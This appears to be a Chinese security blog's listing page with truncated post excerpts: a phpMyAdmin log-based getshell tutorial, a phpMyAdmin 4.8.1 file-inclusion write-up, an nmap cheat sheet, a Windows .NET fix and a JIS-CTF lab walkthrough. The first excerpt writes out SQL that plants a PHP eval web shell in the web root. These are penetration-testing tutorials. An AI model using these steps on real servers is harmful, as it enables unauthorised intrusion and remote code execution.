2020-3-3 myluzh
PHP
条件：需要使用root登陆phpmyadmin
0x01开启日志
进入phpmyadmin后，选择变量
1.找到“general log”选择“ON”开启，也可以通过sql语句开启日志
set global general_log='on'
2.找到“general log file”选项把日志后缀名.log改为.php，把路径改到站点根目录www下面，也可通过执行sql语句，修改日志保存位置
set global general_log_file='D:/phpstudy_pro/WWW/log.php'
要写日志文件路径必须要知道根路径，否则即使写入了也无法访问，也就自然无法getshell。可以通过sql语句show variables like 'datadir'查询数据库位置，一般情况可以知道根路径。爆路径的方法具体情况具体分析
0x02写入shell
执行sql查询语句，然后php一句话就会被记录到日志文件中。
SELECT"<?php @eval($_REQUEST['a']);?>"
我们可以查看日志文件，一句话已经被写入：
0x03拿shell
访问站点...
阅读全文>>
标签: 渗透 phpMyAdmin 日志 getwebshell
评论(0)
(656)
2020-3-3 myluzh
SECURE
目标规格
开关
例
描述
nmap 192.168.1.1
扫描一个IP
nmap 192.168.1.1 192.168.2.1
扫描特定的IP地址
nmap 192.168.1.1-254
扫描一个范围
...
阅读全文>>
评论(0)
(570)
2020-3-3 myluzh
PHP
0x01影响版本
phpmyadmin 4.8.1 （需要登陆才能利用）
复现环境下载https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip
0x02漏洞分析
index.php 55-63行代码
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
0x03漏洞利用
1.执行sql语句，查询当前数据库路径。
show vari...
阅读全文>>
标签: 渗透 漏洞 phpMyAdmin 4.8.1 文件包含
评论(0)
(694)
2020-3-3 myluzh
Windows
此方法同样适用于Windows Server 2008/2012/2016
Windows server安装.net，只能通过服务器管理器安装，但是通过服务器管理器安装会安装失败。
解决方法：
1.下载一个原版系统安装镜像，打开系统镜像进入sources选择sxs文件夹，把整个sxs文件夹复制到c盘下面。
2.通过服务器管理器“管理-添加角色功能”，选择.net3.5重新安装，在“确认”这一栏，选择“指定备用源路径”选择你刚刚复制过去的sxs文件夹也就是C:\sxs。然后即可顺利安装。安装成功后可以把复制过去的sxs删掉。
阅读全文>>
标签: .net
评论(0)
(777)
2020-2-26 myluzh
SECURE
JIS-CTF-VulnUpload靶机共有5个Flag，找到它们！
0x01初步探测
靶机导入虚拟机后，先找到靶机IP，使用netdiscover命令扫描即可。扫到靶机ip192.168.1.107
nmap扫描了下靶机端口，只有80端口跟22端口开着
0x02账号爆破
那就访问http://192.168.1.107先看看吧，跳转到了login.php页面
看到了登陆界面，那就先爆破下呗，可能账号密码就出来了呢，但事实证明爆破无果。
0x03第一个flag
去dirb扫了下，扫到了个http://192.168.1.107/flag/，直接访问，拿到了第一个flag
The 1st flag is : {8734509128730458630012095}
0x04第二个flag
继续看dirb扫出来的铭感链接，有个链接引起了我的注意http://192.168.1.107/admin_area/，访问一下却显示The admin area not work :)，查看了网页源代码，拿到了第二个flag，而且还有也直接拿到了username : admin pas...
阅读全文>>
标签: 渗透 靶机 JIS-CTF
评论(0)
(3351)